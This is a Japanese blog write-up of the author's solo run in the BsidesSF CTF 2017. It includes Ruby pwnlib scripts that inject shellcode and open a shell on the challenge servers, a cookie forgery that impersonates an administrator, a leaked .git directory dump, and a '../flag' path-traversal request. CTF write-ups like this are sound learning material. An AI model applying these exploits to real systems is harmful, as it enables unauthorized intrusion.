読者です 読者をやめる 読者になる 読者になる

ブログの名前なんて適当で良いのでは

説明を求めるな、記事を読め

BsidesSF CTF 2017のwriteupと感想

BsidesSF CTF 2017にソロで参加してみた.残り2時間半のところで寝てしまったので,少し見てない問題がある(Pwnとか解けそうだったなぁ)のが悔やまれる.結果としては1075点の104位だった.正直な事を言うと100位以内には入りたかったので悔しかった.以下に解けた問題のwriteupです

Forensics

easycap (40pts)

pcapファイルが渡されるので,Follow TCP Streamをする.

FLAG:385b87afc8671dee07550290d16a8071

Misc

NOP (20pts)

NOPと同じことをする命令なのでxchg eax, eax

xchg eax, eax

Pwn

easyshell (30pts)

ソースコードが渡され,中を見るとmmapでRWXな領域を作ってそこをcallしているので,シェルコードを流すだけ.
ただし,alarmが短いので予めcat /home/ctf/flag.txtをコピーして置いて貼り付けて出力させた.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 8888

if(ARGV[0] == 'r')
  host = 'easyshell-f7113918.ctf.bsidessf.net'
  port = 5252
end

PwnTube.open(host, port) do |t|
  # t.debug = true
  puts t.recv_until("\n")
  t.sendline(PwnLib.shellcode_x86)
  t.shell
end

FLAG:c832b461f8772b49f45e6c3906645adb

shortest (200pts)

5byte分の命令を実行してくれる上に,その命令にjmpする前に意図的に仕組まれたmov edx, 0xffなどがあり,予めシステムコールが呼びやすいレジスタ設定になるようにされている.そこで,eaxとebxの値をdecしてあげて,int 0x80を呼んで新たにreadを呼ぶ.その読み込み先は今実行している命令の先頭からなので,先頭に5byteパディングをつけてシェルコードを後続させる.先程と同様に予めコマンドをコピーしておいて貼り付けてFLAG出力.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 8888

if(ARGV[0] == 'r')
  host = 'i-am-the-shortest-6d15ba72.ctf.bsidessf.net'
  port = 8890
end

PwnTube.open(host, port) do |t|
  t.debug = true
  addr = t.recv_until("\n").match(/is (.+)\n/)[1].to_i(16)
  puts t.recv_until("\n")
  puts "addr 0x%x" % addr
  payload = ""
  payload << p32(0xcd4b4848)
  payload << "\x80"
  t.send(payload)
  sleep(1)
  t.send("AAAAA" + PwnLib.shellcode_x86)
  t.shell #=> cat /home/ctf/flag.txt
end

FLAG:c9f053110aa0f2d28ed8978e3b03cb01

Reversing

Easy (10pts)

stringsとターミナルで打つ力が必要.

FLAG:db2f62a36a018bce28e46d976e3f9864

easyarm (100pts)

ARMのバイナリ問題.ぶっちゃけ取り組んだことがないので,楽しんで解けた.動的解析する環境すらないので,普通に静的解析をした(Hopperに投げた). そうするとおおよそ以下のCコードのような処理をしていると分かった.

#include <stdio.h>

int check(const char *string) {
  int i = 0;
  if(string[i + 6] == NULL) {
    return 0xc2;
  } else {
    if(string[i + 6] == 'R') {
      // 処理が続く
    }
  }
  return 0;
}

void error_exit() {
  puts("Sorry, that's not the right flag.");
  exit(1);
}

int main(int argc, char* argv[]) {
  
  if(argc != 2)
    error_exit();

  if(check(argv[1]) != 0)
    error_exit();
  
  puts("Congratulations, you have found the flag.");
  exit(0);
}

上記のコードより,入力文字列に対して,特定の添字でアクセスしてNULLかどうかの判断の後に,実際のASCII文字との比較を行っていることがわかったので,アセンブリadds r3, #0x6cmp r3, #0x52などを目印にしてaddsの引数を添字,cmpの引数を比較対象として文字を並べるとフラグが出てきた.

Flag:ARM_Is_Not_Scary

Pinlock (150pts)

いつもと同様にデコンパイルする.まずassets/pinlock.dbの中を見てみると4つのテーブルがあったが,実際v1とpinDBしか使われないことが他のソースを読むとわかる. pinDBには,d8531a519b3d4dfebece0259f90b466a23efc57bというsha1hashが格納されており,これの元は7498であった.おそらくpinだろうと思って入力してみると,実際にログインに成功した.
しかし,ログインしても普通の英語しか表示されず,これはDBv1の方の中の暗号化された文字列だと判明した.そこでDBv2の方がフラグだとうと推測して,これを戻すためにCryptoUtilitiesの必要なメソッドたちだけを引っこ抜いてきて,クラスを作り,以下のコードを実行するとフラグがでた.
コードの実行などの際にandoroidのBase64などを使っていたが,Java8から入っているらしいのでそれを使ったため,andoroid環境が無くても動くコードにした.Java8の環境なんて作っていないので,オンラインのJava8が実行できるprivateな環境を使って実行した.

class Solver
{
    public static void main(String[] args) throws Exception {
        String str = "7498";
        CryptoUtilities cr = new CryptoUtilities("v2", str);
        //System.out.print(cr.decrypt("hcsvUnln5jMdw3GeI4o/txB5vaEf1PFAnKQ3kPsRW2o5rR0a1JE54d0BLkzXPtqB"));
        System.out.print(cr.decrypt("Bi528nDlNBcX9BcCC+ZqGQo1Oz01+GOWSmvxRj7jg1g="));
    }
}

Flag:OnlyAsStrongAsWeakestLink

Skipper (75pts)

ホスト名やOSのバージョンなどの比較をシェル・コマンド使って行われてしまう.そこでそこらへんの比較処理が終えた後どうなっているのかを確認してみると,call 0x8048a63をしているとわかる.そこでgdbでそこにgoto 0x8048a63して飛んでcontinueをするとフラグがでてくる.

FLAG:f51579e9ca38ba87d71539a9992887ff

Skipper2 (200pts)

Skipperの強化番なので,愚直に飛ばすことはできないと踏んで,比較対象と同じになるような文字列を格納できるgdb scriptを作成した.x86だと文字列が長い時setコマンドが増えてしまうので,あえてx86_64のバイナリで解析を行った.
必要な箇所でこれを逐次実行していって正しい比較結果の分岐を勧めていく.比較が終わったらcontinueでFLAG出力.

def hostname
    set {long}0x7fffffffdb20 = 9088680153868427624
end

def osversion
    set {long}0x7fffffffdb20 = 54095888264754
end

def cpu
    set {long}0x7fffffffdb20 = 8387218128874261825
    set {int}0x7fffffffdb28 = 561145204
end

FLAG保存し忘れた

Web

easyauth (30pts)

ソースコードを見るとPOSTのときはいろいろ処理があるが,GETのときは大部分をすり抜けていくことがわかる.さらにすり抜けた先で,Cookieの値をパースして$usernameに入れる処理があり,その$usernameを後に文字列administratorと比較しているので,パースした時に$usernameにadministratorが入るようにCookieを設定してGETリクエストを送るとFLAGが出力される.

FLAG:0076ecde2daae415d7e5ccc7db909e7e

the-year-2000 (100pts)

なんとなく.gitディレクトリを調べてみるとforbiddenと表示される.怪しいので,更に調べてみる,.gitの中身を思い出してHEAD/.git/HEADを末尾につけてアクセスすると案の定ファイルの中身が出力されたので,この方針だと確定する.dvcs-ripperでサクッと全部の中身を抜いてきて確認していく.

git logで確認したcommitに戻してもフラグが見つからないので,git初心者の私は.gitディレクトリの中を探索していった.そしたら,.git/logs/HEADの中にlogにかかれていないcommitのハッシュ値があることに気づいた.そこで以下のハッシュ値を戻してみた.

git reset --hard 9e9ce4da43d0d2dc10ece64f75ec9cab1f4e5de0

そうするとindex.htmlの末尾にFLAGがあった.

______________________
< Thanks for visiting! >
 ----------------------
         \   ^__^
          \  (oo)\_______
             (__)\       )\/\
                  ||----w |
                  ||     ||
</pre>
</marquee>
</body></html>
Your flag is... FLAG:what_is_HEAD_may_never_die

FLAG:what_is_HEAD_may_never_die

Zumbo 1 (20pts)

ソースコードを見ると,server.pyというファイルで動いていることがわかるので,それを見る.

#!/bin/sh
curl -s http://zumbo-8ac445b1.ctf.bsidessf.net/server.py | grep "FLAG"

FLAG: FIRST_FLAG_WASNT_HARD

Zumbo 2(100pts)

コードを見る限り,/<path:page>page/flagを設定すれば良いのでブラウザでやっていたが,うまくいかず生のHTTPリクエストを投げてみようと思い,BurpでHTTPリクエストのGETのところを以下のように書き換えてみたところちゃんとFLAGが出力された.

GET /../flag HTTP/1.1
Host: zumbo-8ac445b1.ctf.bsidessf.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

FLAG: RUNNER_ON_SECOND_BASE